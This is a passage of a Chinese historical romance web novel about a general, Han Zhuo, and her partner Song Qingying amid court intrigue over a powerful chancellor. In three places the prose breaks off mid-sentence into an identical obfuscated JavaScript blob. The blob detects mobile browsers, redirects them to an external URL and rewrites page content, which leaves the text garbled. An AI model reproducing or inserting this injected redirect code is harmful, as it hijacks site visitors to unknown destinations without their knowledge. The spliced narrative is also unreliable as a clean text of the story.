“不是我担心,是我怕圣上担心。”宋青瑛继续道:“你不知道,王公辅从前揪着你要军饷这件事参了你好几本,圣上虽没说什么,但他对王公辅向来最为信赖,他说的话在皇上心里,总占着不少分量,你要小心。” 韩濯打了个哈欠道:“行,我知道。嫂嫂信得过,你大可放心。” “清之信她?” “信。”韩濯回答得很坚定。 “为什么?” 韩濯仰着脑袋闭了半天眼睛,就在宋青瑛疑心她已经睡着了的时候,韩濯缓缓冒出来一句:“我的命途如何,珺儿的命就如何。” 宋青瑛若有所思了一会儿,又听韩濯补道:“再说了不信也没办法,我的事她都知道。” “你......” “行了,你今天怎么了?” 宋青瑛道:“那我的事呢?你打算怎么和嫂嫂说?” 韩濯转头看向他:“你想教我怎么说?” 宋青瑛纠结片刻道:“我......不知道,我给珺儿和嫂嫂都备了些薄礼,不知她们是否喜欢......” 搞半天是担心自己不被人接受,韩濯看宋青瑛的局促模样,像个见公婆的小媳妇儿。 韩濯心里痒痒的,她喜欢极了宋青瑛这副模样,有点娇,有点委屈,很招人疼。 “路路通堂主的礼,还担心她们不喜欢?”韩濯挑了人下巴,带着笑意问道。 路路通怕是拔下一根汗毛都能把整个英武侯府买下来了。 宋青瑛眼睛清亮亮注视着韩濯,仰起脸任她揉搓:“她们一定喜欢?” “珺儿和我一样,都是从小在丘八堆里混的野丫头,我俩都不是你们那帮识货的少爷小姐,我嫂嫂的审美......和那些羽毛鲜亮的鸟儿差不多,什么东西色儿亮就把什么往脑袋上插,看什么都好,你怕这些做甚?” “你这样编排嫂嫂,她要是知道了一定骂你。” “骂我啊......”韩濯低声笑了两声:“我要是挨骂,你帮不帮我,嗯?” 她的脸与宋青瑛贴得极近,宋青瑛抽了口气,强作镇定道:“我也要骂你的,哪有这样背后编排长嫂的?” “也是啊。”韩濯装模作样叹了口气道:“从前我被李三三骂的时候,也没见你帮我撑一撑腰,真是岂有此理,我就该知道你靠不住。” “不是,”宋青瑛急于辩解:“我......我怎么能去骂人家姑娘家,毕竟不好,但我是向着你的。” “这么说,你对我很好了?” 宋青瑛道:“我知道,还不够好,但是......我愿意听你的。” 韩濯随随便便坐了回去,在自己唇上点了点:“那表示一下。” 宋青瑛红着脸,做贼心虚一般瞥了一眼车帘有没有拉好,随后飞快在韩濯脸上亲了一口。 ? 韩濯一脸“就这?”的表情,失望道:“你也太敷衍了,我...唔......” 宋青瑛堵住了韩濯的嘴,急吼吼地要吃人。 韩濯心安理得放松下来任他胡闹,一吻毕,鼓励般地捏了捏宋青瑛的脖颈:“心急吃不了热豆腐,这可不好。” 宋青瑛喘了口气,声音低了少许:“那清之教我。” “我不会啊。”韩濯理所应当地说道,无辜的面皮下藏满了狡黠:“我从来不看那些的。” 宋青瑛咬了咬牙,扳过韩濯的脸又亲了上去。 “怎么样,这次还急么?” 韩濯脸也有点热。矜持道:“尚可。” “清之......” 宋青瑛又凑到韩濯的颈窝处,弄得人有些痒,韩濯有点招架不住,把人推了回去:“困了,我先睡会儿。” 宋青瑛肩膀上多了一点重量,他谨慎地调了个姿势,确保韩濯能靠得更舒服些,心里酸的甜的混在一块儿,几乎要在天灵盖上冒出火花来,他心里激动,低头吻了吻韩濯的发顶。 韩濯本来是装睡,被宋青瑛这一出弄得有些痒,闭着眼突然想起来什么,嘟哝道:“真是造孽,昨天那御赐的袍子还没穿够六个时辰就脏了,都是你轻没重地胡闹。” 宋青瑛被她恶人先告状逗笑了,仍然顺着她的话道:“是我的不是,我赔你十件更好的。” 韩濯把脑袋蹭到更软和舒服的地方,继续道:“这怎么能一样,这是御赐的,皇上见我不穿一定要问的。” “你就说......因是圣上钦赐,所以挂在堂内日夜瞻仰,时时提醒自己不忘君恩浩荡。” “圣上要是知道这袍子怎么脏的,我长十个脑袋怕也不够他砍......” “脏了就脏了,怎么难道他送的真就那么好?” 韩濯从这话里听出了一股酸唧唧的味儿,真是岂有此理,韩濯惊异地在他怀里睁眼,心里暗骂两句,嘴里却十分体贴地容忍了他为了撒娇乱吃的飞醋: “小孽障。” “总之,差不多就是这么回事了......” 白兰茵沉默着把杯子里的茶泼出了些,韩濯有些小心地观察着自家嫂嫂的表情,有点搞不清她到底怎么想的。 “你们......”白兰茵扶额,似乎颇为头痛。 “这可比戏班子唱的有意思多了......天下竟然有这等奇事,我就说,当初你娶殿下说什么‘有奇技秘法’,我还当真以为你有什么不为人知的手段......” 宋青瑛有些惊讶地看向韩濯,没想到她当初对兄嫂是这种上不得台面的托词。 “当初我自己就做贼心虚,哪里知道......”韩濯笑着摇了摇头,随后想起当初到底因为啥才这么搪塞韩胤,还是闭了嘴,人都死了,对着未亡人再谈这些无益。 “殿下如今打算怎么办?”白兰茵正色道。 宋青瑛神色坦然:“长宁公主早已逝去,在下如今不过是个寻常布衣,清之往何处去,我便往何处去。” 白兰茵若有所思搁下了茶碗:“清之呢?你又如何打算?” 韩濯体会到了一点不太寻常的意味,小心问道:“嫂嫂的意思是......” “你这回要做好久留京城的准备。” “那怎么行?”韩濯下意识道:“就算雁关无战事,那批新改良的火枪还等着我回去亲试呢。” “这恐怕由不得你。” “怎么说?”韩濯挑眉问道。 宋青瑛若有所思地道:“嫂嫂,据我所知,皇后娘娘虽姓王,可与右相的血缘似乎......隔着不少吧。” 白兰茵道:“路路通果真手眼通天,娘娘虽当我是自己人,五年来把我做亲妹子待,但如今想来,不无有借韩家势的意思......” 右相经年来想尽办法削弱大齐各处韩家军的势力。当年韩濯的祖父征战四野,中原到处硝烟四起,入伍打仗几乎成了贫人家最有出息的路,一时手下有为将领如过江之鲫。百年过去,四海安定,这些名将的后代有不少仍在驻地生根落地,仍以韩家军自居。 右相这几年以各种理由撤了不少韩家君旧部,倒教军中不少恰好得了军功的寒门白身上位,韩濯不是没有听说过,只是细看文书,那些旧部多半也是自己犯了事被人扒了出来,不算冤枉。韩濯本就没什么“把韩家军发扬光大”的想法,韩家在乱世里风光那叫丰功伟绩,但在太平年头风光,很容易便被打成功高震主,韩濯扪心自问,哪怕换了自己做皇帝,对韩家也要心里犯嘀咕的,因此虽恨铁不成钢,也未尝表达出什么不满来。 宋青瑛道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252303|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此说来,皇上和右相并非看上去一般上下一心?” 白兰茵摇摇头:“不知,至少皇后和右相并非一心。很多时候,枕边人的心思往往最是难测。” 宋青瑛忍不住偷偷看了眼韩濯,白兰茵这番话说的是皇上和皇后,又仿佛是在说什么旁人。 韩濯倒是大方得很,没往深处想,她道:“这样说,皇后娘娘她虽姓王,反倒是与右相对立的那一派了?可当初宫变,王公辅于娘娘却有救命的恩义,嫂嫂当真肯定娘娘她确实是这个意思?” “我传一些市井的闲话,你们也未必要当真”白兰茵缓缓道:“你我都知道,王家在京城世家里本不紧要,是从先帝那时立了后才渐渐兴盛起来,到了本朝才有了如日中天之像,皇后娘娘虽是世家女,我做姑娘时却并未见过她,也未曾听过她的大名,据娘娘说,她孩子时被寄养在老家,是及笄后才回来的。” 韩濯和宋青瑛对视了一眼。 这本来不是什么稀奇的事,可故事的主人换成了当今的娘娘,那便大有文章可做,当年以先皇后为首的王家为了稳固地位,促成了太子与王家进一步亲上加亲,似乎当年的太子妃,如今的王皇后不过是一颗政治联姻的棋子,韩濯他们理所应当地把她和王公辅分在了一个阵营,可现在看来,这一颗当年的棋子或许是最大的变数。 “娘娘少年时过得并不好。”白兰茵又道。 韩濯惊讶道:“这种事情,皇后娘娘竟然也会说与嫂嫂听?” 白兰茵一笑:“自然不是,娘娘是何等谨慎聪颖的贵人,悲喜几乎从不外显,但我与她交谈多了,总能从只言片语中推测几分。” “这个也是给我的吗?” 韩珺一蹦一跳地跑了进来,有些发黄的头发兴奋地翘起几缕,被汗水粘在耳朵旁边。 韩濯他们没来之前,她正被白兰茵按着念千字文,根本坐不住板凳,见了亲娘的欣喜很快被没心没肺的厌学取代了,被引去瞧自己的礼物时如蒙大赦,脚步雀跃着几乎要飞起来。 三人望向闯进门来的小姑娘,她手上拿着一把漂亮至极的匕首,刀柄上镶了一枚月牙状的宝石,闪亮亮地晃人。 见宋青瑛笑着点点头,她兴奋地将匕首从鞘中抽出,越看越喜欢。 白兰茵微笑道:“莫划了手。” 韩濯笑道:“放心吧嫂嫂,珺儿还小,功夫虽然稀松,匕首却耍得不错。” 韩珺拍手道:“太好啦,那珺儿以后捉了雀儿来,烤了吃,就不必用原来那把割不动的小刀了。” 韩濯的笑容僵了僵,韩珺这丫头真是当场打自己脸,这把匕首一看就绝非凡品,是用来处理内脏的吗? 她有些抱歉地冲白兰茵笑了笑。 “小女顽劣,这些年阿濯费心了。” 韩濯忙心虚道:“不敢,嫂嫂千万别这么说。” “珺儿,还不快说谢谢?” 韩珺鬼灵鬼精地来回扫了韩濯和宋青瑛两眼,十分干脆地冲宋青瑛磕了两个头:“谢谢姑父!” 难道不是说一声谢谢就行吗?这小丫头从哪儿学来的? 韩濯哪知道韩珺在雁关时,逢年过节和李三三被簇拥着邀进边关百姓的家里,清清楚楚瞧过别人家的小孩怎么接红包,别人家的年都是怎么过。 宋青瑛惊得赶紧将韩珺抱起来,他单只手用力,得废好大劲才能不教小孩子滑下来。 韩濯看着这一幕,笑着把韩珺抱走提溜到白兰茵身边,道:“珺儿长高了,姑父最近身体不好,甭去闹他。” 韩珺可不在意谁来抱自己,她开开心心地窝在了一旁,惊喜地发现这把匕首能轻松将上了漆的桌子刮下几道清晰的痕迹,于是安静下来专心致志地在桌角划王八。 韩濯上辈子没来得及做长辈,这辈子没长辈,根本没有给孩子发红包的意识,她仿佛终于想起了什么,下定决心今年年关要给小韩珺包个大大的红包,把以往的几年都补回来。 可她收回神,将目光重新投向韩珺时,血液都要凝固了。 “韩珺!” 这败家小崽子刚刚亲手划坏了整个侯府最值钱的黄花梨八仙桌。 73. 风月无边 灯花明灭,在墙上投出一张摇曳纤薄的影来,天色已晚,自赵妈妈三年前去世后,公主府已少人打理,就只有几个白兰茵塞过来负责定时洒扫的几个丫头小厮,如今府上主人回来,没来得及也没打算多添几个下人,整个府邸安静极了,因着过于安静,反而使宋青瑛有一种抓不到实处的心慌,看账本也定不下来。 听到门口处的响动,宋青瑛下意识回头去看。 韩濯刚刚沐浴过,披散着一头长发,头发擦得很糊弄,发尾还在滴水。他二人重逢不久,这样不设防的韩濯并不多见,她一面走进屋一面道:“还在看账?注意着别看坏眼睛......我之前在雁关时琢磨着弄出了个汽灯来,还不成熟,但比这个可亮多了,整个大齐独一份,我都不舍得使,早知道,我就拿回京给你用了。” 宋青瑛看着她的模样呆了呆,没应韩濯的话。 “你怎么了?” 宋青瑛放下了账本:“姐姐,你真好看。” 韩濯愣了一下,有点不好意思,但她好面子得很,只能笑骂了两句掩饰害臊。 宋青瑛取了干净帕子来,和韩濯一同坐在床上给她擦头发:“虽然快入夏了,但这么湿哒哒地洇着会生病的,头发没干就莫到风口上去站。” “哪那么容易生病?”韩濯懒洋洋道,对宋青瑛的一番服务十分受用。 宋青瑛开始帮她梳头发,动作很轻,有点痒,韩濯将梳子夺了过来:“好了好了我自己来,这么梳要到猴年马月去?我又不是什么娇贵玩意一碰就碎,这么小心做甚?” 宋青瑛顿了顿,下意识将右手又藏到了袖子里面。 韩濯注意到了,沉默着梳了一会儿,便毫无预兆地伸手去牵他的右手。 宋青瑛没躲开,也不大敢拒绝,韩濯双手捧起来,转了转他的手指关节,认真问道:“痛么?” 宋青瑛摇摇头:“没感觉。” 韩濯不懂医术,只在李三三身边耳濡目染知道了几个穴位,连半吊子都算不上,但此刻还是认真地按着他的手:“这里呢?” “......不痛。” “这里呢?” ...... 韩濯还未来得及反应过来,便被人贴了上去,她手里还拽着宋青瑛的爪子没有松开,后脑勺已经触到了柔软的床铺。 “不是吧,你......”韩濯笑着,顺手揽住了像只小狗一样细细碎碎亲人的宋青瑛。 “驸马......” 这动静九曲回肠,不像从宋青瑛嘴里出来的,韩濯默默起了一层鸡皮疙瘩,把扎在怀里的生物捞起来笑道:“殿下,年纪轻轻这么纵/欲,可不是好事。” 宋青瑛肉眼可见卡了一下壳,脸红得滴血,仿佛认定自己得了拒绝,方才不要的面子后知后觉统统捡了回来,起身时还栽了一下。 谁知韩濯拽着人领子,又把人拽了回来。 “臣亵衣被打湿了。”韩濯眼角透出一点笑意:“殿下帮帮忙。” 宋青瑛咽了咽口水:“怎么帮?” 韩濯指了指他的耳朵,似乎有什么话附耳要讲,待宋青瑛贴过去时,却一个翻身压了回去,堵住了他的嘴。 ...... 宋青瑛在这方面是个行动派。 “清之,你说句话......” 说个屁!韩濯觉得有病,扭过头去不看他。 “清之......” 宋青瑛贴着她的左耳喘得厉害,勾得她心里既燥又软,想把他压回去欺负一番,又想把他搂紧好好疼一疼。韩濯一只手被攥紧按在床铺上,老老实实任他攥,却顺着扭过头时的目光瞧见他的右手无力地垂在一旁,敲得心脏闷疼。 她伸出左边的胳膊,膀子上延展出一层薄薄的肌肉线条,漂亮得很,她将宋青瑛毫无知觉的手捞了过来,缓缓分开他纠在一处的五指,牢牢牵住他,缓缓挤了进去,十指相扣。 宋青瑛突然停了下来,心里好像又甜又重的东西砸下,在所有的欲望背后,现出千百次的珍而重之。 韩濯看着宋青瑛的傻样,没忍住笑了笑,却被此人趁着她卸下防备时逼出了两声喘,韩濯有那么几忽儿的失神,这么一打岔,脑子里又开始七弯八拐。 “王公辅之前弹劾我的折子圣上虽然没理,但之前召我进宫面圣,曾试探着要我与王家女儿议亲。” 宋青瑛一愣,有些不满,却顺着韩濯话头闷声道:“嗯。” “嫂嫂之前说,枕边人的心思往往最是难测......轻点......这意思是不是说皇上和娘娘他们对王公辅的意见本身就有分歧?” “皇兄...不,皇上他是是个重感情的仁义之君。” 韩濯有点不耐,把人推了坐起来:“唔......的确如此,圣上念着我的好,却也同样会念王公辅的旧情,更何况那是他血脉相连的亲舅舅。” “是,”宋青瑛抱着韩濯,把下巴搁在她肩膀上歇了一会儿:“清之是觉得王公辅未必那么老实?” “自然。”韩濯道:“谁到了他这个位置,都会惹人怀疑,我有这种猜测自然也不过分,但他每一步都及其周密,教怀疑他的人都没了底气,如果他的毫无野心真是装的,那这人真是太可怕了。” 宋青瑛道:“古之成大事者,皆能忍人之所不能忍,当初永王宫变之时,他那样快便得了信任,做低伏小,这样的心性不是常人能有。” 这也确实是韩濯的疑虑,当初他扮猪吃老虎直接送走了永王,那如今呢? 韩濯随即笑了笑:“他若当真是为大齐殚精竭虑的良相,反倒显得我以小人之心度君子之腹了。” “清之倒不必这样说,”宋青瑛重新按着韩濯躺了下来:“不论如何,他结党是事实,更何况几年来,与之对立的一党有不少位高权重之人因或大或小的事或降职或被贬,若说这里面没有他做文章,傻子才会相信,除此之外最重要的是......” 韩濯捋了捋他汗湿的头发:“什么?” 宋青瑛缓了缓,道:“清之因王公辅当年蛰伏算计永王而心有忧虑,你又怎知王公辅之前弹劾你多次,不是因为你当年全韩家忠名,拼死护主而忌惮你呢?” 韩濯被他的一番话说得一激灵。 这五年来她全心全意都是眼前的事情,打仗,造新式军火......沉浸在一堆须得投进大量精力的事中去忙得不可开交,似乎只有这样,才能暂时忘记至亲离散的现实,她本就不喜欢那些朝堂上的弯弯绕绕,再加上宋青瑛杳无音信后便更不愿接触了,只漠然想着他们皇上娘娘爱怎么折腾怎么折腾,就算把自己拽去送死也没那么所谓了。 如今宋青瑛失而复得,她仿佛刚刚从一片剥离了感官的地狱中回到人间,开始愿意为了“好好在大齐活着”做些努力,重新将眼光投向朝堂中的明枪暗箭,才后知后觉觉得步步凶险。 见韩濯如此反应,宋青瑛一边捋着她的头发一边道:“清之如何打算?” 韩濯翻了个身,道:“我怎么打算,现在能做的也实在有限......嫂嫂又被娘娘召进宫里了,这回带着珺儿一起......这个频率,几乎要在皇宫住下了,这是不是代表着,至少娘娘一直对王公辅有所防备?” “嗯......”宋青瑛道:“皇上也未必没有防备,只是......” “性情优柔。”韩濯一锤定音。 这话简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259534|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直大逆不道,宋青瑛顿了顿,但也清楚韩濯人后百无禁忌的德行,于是默默认了。 “清之在朝中可与什么人熟识?” “老师早已致仕,相熟的只一个崔子盛......不过他铁了心做清流,我年少时与同窗同门相交都不错,不过至交却少,惭愧,这几年来我也没想着多探查探查朝堂内的风声......” “清之记不记得张太师?” 韩濯觉得耳熟,随后回想起来,当年在灌州遇见的朗祁月和姚申的老师嘛,于是道:“记得,他是做过皇帝老师的,你可知他是什么态度?” 宋青瑛道:“他老人家不显山不露水,他的态度如何,我也并不敢说,只是......他的得意门生就在今年开春被人弹劾,贬谪到潮州去了。” 韩濯微微眨了眨眼,又听他道:“那得意门生没少在朝堂上骂过王公辅,他去了潮州之后,张太师称病不出一月之久。” 韩濯心里有了数,于是点了点头。 一番下来二人都有些困倦,韩濯调整了一下脑袋的位置,觉得有什么东西硌人,伸手一探,捞出来几本小册子。 宋青瑛见状心里突地跳了一下,却也没伸手拦。 韩濯没反应过来那是什么,随手翻了起来,竟然发现装订极其精美,甚至还配了插图。 “那韩清之少年心性,见公主神色冷漠,对自己一番陈情丝毫不领受。想他文采风流,容色气度更是昳丽,当年满楼红袖招,多少貌美女子为之倾倒,哪里受过这等气,思及至此,便不顾公主惊呼,提起他腰间衣料,向榻上摔将上去,直道‘好气,好气也,你这般......’” 韩濯读到这,手腕一抖,没好意思把那个词说出来,改成了闭嘴直接看。 “公主身量纤细窈窕,哪里受得住驸马此番调弄,但见公主××微颤,一双玉手......” “这也太俗了。”韩濯看不下去了,直接评价道:“还是老套剧情,两人误会,一个不长嘴,一个不听解释,最后竟然还得靠强制敦伦一番,便被睡服了?就骨酥筋软,万分依恋了?这一看就是男人写的东西。” 随后看向宋青瑛,诧异道:“你喜欢看这个?” 宋青瑛红着脸:“不是,只是现在市面上写你我的本子没有很多了.......” 韩濯眯着眼瞧了瞧作者名讳:“霍,名字有点耳熟,这不是之前写我和崔子盛那位么,怎么转了性写咱们两个?” “这我却不知,不过常去买他书的人还因此恼了,大张旗鼓闹了一番......人家还是更喜欢看你和崔大人在一处。” 好委屈啊。 韩濯莫名从宋青瑛的表情里品出了一点小黄书里他神色委屈,泪光点点的意思,突然就理解了古往今来这种书为何有这么多受众。 好吧,我也是俗人,韩濯想道:宋青瑛这个样子,她还是招架不住。 “你喜欢这书里的什么?”韩濯欺身上前,笑意盈盈:“这里面把我写得这样霸道,你还喜欢?” ...... 韩濯本没想到从宋青瑛嘴里说出什么,谁知他却小声开了口。 “你说什么?再说一遍。” 宋青瑛摇摇头,示意不再说了。 韩濯点了点右耳,道:“你要体谅我一下,我听力比常人差一些。” 宋青瑛心里被猛锤了一下,于是凑上前,在耳边道:“喜欢。” “我知道你是顶顶体贴温柔的,但是你怎么样我都喜欢。” 韩濯接着调戏:“在床上呢?” 宋青瑛憋了半天,道:“那还是霸道些吧。” 韩濯被萌了一脸血,笑得浑身发抖。 74. 风声鹤唳 “姑娘,两份槐叶冷淘。” “得嘞!” 年轻姑娘的袖子挽起来,树下漏出的阳光有半幅洒在她身上,照得乌黑的发髻一道亮金,她把青翠的面从冰凉的井水中捞出,动作十分利索,又瞥见这两位客人皆生了一副好相貌,忍不住多看了两眼,姑娘从小在市井中长大,没什么娇怯的情态,见人生得好也只是笑着大大方方地看。 “姑娘,这紫苏饮子不是我们的......” 那姑娘将围裙重新系得紧了些,笑着回头,露出一口细细的白牙:“看你两位小哥生得这样好,我还是头一回见,是送二位的,不要钱。” 宋青瑛还未开口,便听韩濯笑着答道:“如此多谢姑娘了。” “这......”宋青瑛没经历过这事,白拿了人家的东西一时间有些手足无措,韩濯见他这样,笑道:“你就领受了吧,待走时给她把钱留下就是了,人家姑娘一番好意,怎么能随便推却?” 京城已经入夏,果真如白兰茵所言,韩濯没能利索地回京城,苏,程等将军倒是固定发来雁关的战报,打了几次小仗,几乎全是韩家军对边关常常劫掠商队匪徒的单方面打击,十分乏善可陈,唯一值得欣慰的,恐怕是韩家军对新型军火的使用愈发驾轻就熟。 “清之何故叹气?” 韩濯把筷子在槐叶冷淘中搅了搅,道:“新型的军火推广开来明明大有可为,可是我递了很多回折子,都被当了儿戏,我一直想着该如何让皇上重视一下啊,军事实力和科技水平难道不是一个国家稳固的头等大事么?比那帮每日吵来吵去踢皮球的六部大人们有用多了......大齐对技术发展怎么这样不支持,光会动嘴皮子怎么行?” 宋青瑛无奈地摇头笑道:“圣上把你当了镇国的门神了,清之太争气,反倒教人觉得这些军火没什么必要,若是真的在打仗时吃了大亏,说不准这些炸起来震耳欲聋的东西便能推广一番。眼下,四境安定,常人是不会想着把钱花到与自己隔得太远的军火上去的。甭说世家大夫,就连平民百姓都晓得好好享受。比如,你改良的琉璃卖得好得出奇,眼下在西京十分流行。你瞧......” 韩濯顺着宋青瑛的手指看过去,见卖冷淘的姑娘耳朵上一抹剔透的亮色,正是一颗圆润的琉璃珠耳珰。 “如此说来,我不应该去造那些枪啊炮的,反而应该去造些新式烟火是不是?”韩濯这话说得有些气闷,谁知宋青瑛却很认真地思考了一下,道:“可行,可惜万寿节过了,不然在当日燃一些新鲜的焰火,定能赚上一笔,可眼下错过,只好等年关了。” 见韩濯一噎,宋青瑛忙补充道:“赚一笔有了钱,就能造更多军火了。” 韩濯满意了些,重新沉浸在了自己的世界里:“新的火枪倒是不炸膛了,校准还差点意思......” 暑气尚未十分逼人,韩濯把头发向后抹了一把,微微眯着眼睛吹还未染上燥热的夏风,却见不远处有个熟悉的身影走来,步履匆匆。 崔子盛? 韩濯忙起身迎过去,宋青瑛紧随其后,没忘了顺手在桌子上多添了几个铜钱。 “子盛?” “清之,我去府上找你,却不见你踪影,没成想在这儿碰见,这位......” 韩濯卡了一下壳,没想好怎么介绍,又不能说这是她老婆,说朋友某个别扭精准会吃醋,一时间有些为难。 宋青瑛微微笑了笑:“在下姓冯。” 崔子盛拱了拱手,心中有些疑惑,觉得这人看着有点面熟,但着急和人说事,也未更多寒暄,反而伸手拉向韩濯:“清之,此处不便说话,我们还是......” 韩濯看了宋青瑛一眼,见他若有所思瞧向了崔倍拉自己的胳膊,心中警铃大作。 谁知宋青瑛只是体贴道:“在下乔迁新居,正好想去买一幅好丹青,笔缘斋就在附近,先走一步,恕不奉陪了,二位告辞。” 韩濯安抚性地拍了拍他的肩膀,宋青瑛也只报之一笑,一朵芙蓉花似的飘走了。 “子盛怎么如此匆忙,到底怎么了?” 崔子盛无暇顾及这来去如风的神仙是谁,带着她到了巷尾人迹罕至的柳荫处,深吸一口气道:“老师前两日托人给我送信,教我好生留心京城姚家的动向。” 韩濯耳朵一动:“姚家?是那......” 崔倍点了点头:“就是那位半年前才封了妃的姚家。” “是了,他们家二公子是不是姚申?” 崔倍道:“正是,此人初登科不久便辞官罢仕,当时引得一片哗然,清之认得他?” 韩濯含糊道:“一面之缘,子盛可是查到了什么?” 崔倍道:“清之也知道,前阵子一桩陈年舞弊案牵连了一堆人,圣上大发雷霆,不少大人家因此倒了台,眼瞧着朝中无人可用,右相便又官复原职了去。” 韩濯点了点头,他说的这些当初闹出好大的风浪,朝会上鸡飞狗跳相互泼脏水,韩濯当初作为一介武将沉默整场看了好大一处热闹戏。 “原来的朝会三日一次,半月前圣上改成了五日一次......圣上最近身子不大好,我听了些风言风语,原本在安平帝年间撤了的内阁又要重启,便是由右相统领。” 韩濯有些惊讶:“消息属实?” “是。” “王公辅这一番下来,手中大权反而更多了......可子盛,这和姚家有什么干系?” 崔倍道:“前日,右相曾和姚大人在楼中饮酒,被我碰巧遇见,我当时便稍稍留了心,当天晚上,姚家府上便打死了人。” 韩濯一惊:“打死了人?什么人?” 崔倍摇了摇头:“应当是些奴婢小厮......这事说大不大说小也成,可两件事连在一起,发生得太快,我不得不把这放到一块想。” 韩濯思索片刻:“子盛......你为何急匆匆过来找我?” 崔倍有些急:“清之,你难道不知右相一直想拉你下水么?” 韩濯笑道:“你崔家世代清流,难不成子盛此次要去搅这两党相争的浑水?这个时候不更应当和光同尘么,早不掺和晚不掺和,偏偏要在右相正得势之时与他唱反调?” 崔倍正色道:“为天地立心,为生民立命,我崔子盛绝不谄媚谁,也不反对谁,这辈子只甘为大齐鞠躬尽瘁,但求无愧于心。” 该说他活得清醒还是糊涂呢?韩濯想道,随后叹了口气道:“你也觉得右相狼子野心?” 崔倍道:“瓜田不提履,李下不整冠,右相所为虽暂时查不到越界的苗头,但绝非君子之道。” 韩濯笑道:“可作为清流,瓜田李下,子盛也不该过来和我说这些。” “清之你......”崔子盛气急,可又瞥见韩濯藏着一肚子坏水的表情,好脾气无奈道:“这么多年了,你还是从前那样。” “好了好了,我知道子盛待我向来赤诚,这个情我怎能不领,放心,我心中有数了,最近又要起风浪,子盛你也要小心。” 崔倍一笑,随后又忧虑道:“太平日子不过才几年,但愿此次......唉,暂且不谈,我好像看见那边冯公子在等你。” 韩濯朝那边看去,但见不远处白衣公子正立在柳边,身边围了不少总角孩童,一个个都缠在他身边等着分得一块他手中的糖糕。 崔倍送别了韩濯,瞧她朝冯公子那处走去,觉得这两人之间的氛围有点说不出的奇怪,但也没继续追究下去,带着一腔悬而未决的忧虑离开了深巷。 / 未时,长生殿。 “奴婢见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271252|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇后娘娘......” 王皇后抬起一只手,止住了门口那公公的话头,她和做太子妃时装束和气度都大大不同,简直教人瞧不出这竟是一个人。头上的金凤钗似乎将她整个人都压得很沉,原本有些飞扬的眼睛微微垂下来,配着额上火红的花钿反倒有了些不怒自威的意思。 “娘娘......淑妃娘娘也在。” 皇后不咸不淡地看了他一眼道:“我来瞧皇上,还要请示淑妃不成?” 那公公脸色一白,垂首拜下,不敢作声。 宋乐湛正倚在床头,不知和坐在一边的淑妃说了什么,引得人掩唇一笑。眼瞧着宋乐湛伸出手,要向淑妃的脸上探。 “臣妾拜见陛下,陛下身子可大好了?” 宋乐湛皱了皱眉,把伸出的手缩了回去:“皇后不必拘礼,天这样热,怎么还特地辛劳跑来一趟。” “臣妾忧心圣上龙体,怎敢称什么辛劳,如今瞧淑妃妹妹在御前侍药,倒是我碍眼了...淑妃不必多礼,你还怀着身孕。” 宋乐湛只觉得皇后这句话十分逆耳,预感今日又要不欢而散,他连带着也不想教淑妃在一旁伴着,抬手将人挥退了。 皇后走上前来,欲要拿起药碗,却被宋乐湛拒绝了,他自己将碗端了起来,将药汁一饮而尽。 “你若还是想谈右相一事,便别费力气了,朕乏了,要歇息。” 王皇后立在一旁,没走:“那陛下睡吧,臣妾在一旁候着,等陛下醒了再谈不迟。” 宋乐湛燥得厉害,一股怒火烧将上来:“胡闹!” “臣妾并非胡闹。”皇后淡淡道:“古之权倾朝野者,从未有谁能保三代富贵,昔日齐桓公重管仲却并未废鲍叔牙,朝中不该有专权之臣,知人善任,雨露均沾,广纳贤臣,垂拱平章方是治世之本......” 宋乐湛怒道:“朕何时需要你这闺中妇人教朕治世之理!你这是后宫干政,有悖祖宗!” 王皇后跪道:“纵使违背祖宗,臣妾也顾不得了,兹要是陛下肯撤回右相掌内阁的成命,臣妾甘以死谢罪,但臣妾犬马之诚,天地可鉴!” 宋乐湛冷笑道:“如今,你也来逼迫朕。” 王皇后道:“臣妾不敢。” “好!那我来问你!”宋乐湛道:“你说说,朝里出了这样大的事,眼下满朝文武竟无一人可用,朕不任命右相,又该提拔谁?” “我大齐人才辈出,满朝才俊,难不成找不出补位......” 宋乐湛气急,急促地咳嗽了几声,随手抄起药碗摔了过去,一阵叮当乱响中,周围宫女太监跪了一地。 “你好得很呐。”宋乐湛冷笑道:“执掌后宫还不够,手竟然要伸向朝堂前了?依朕看,不如这龙椅由你来坐?” “臣妾不敢。” “你敢得很啊!”宋乐湛道:“你还有什么不敢的?” 王皇后的脸颊被碎瓷片割出了细小的血痕,却十分惹眼,宋乐湛瞧见此状,不由重新想起新婚当日那个紧张羞怯的少女来,可怜可爱。 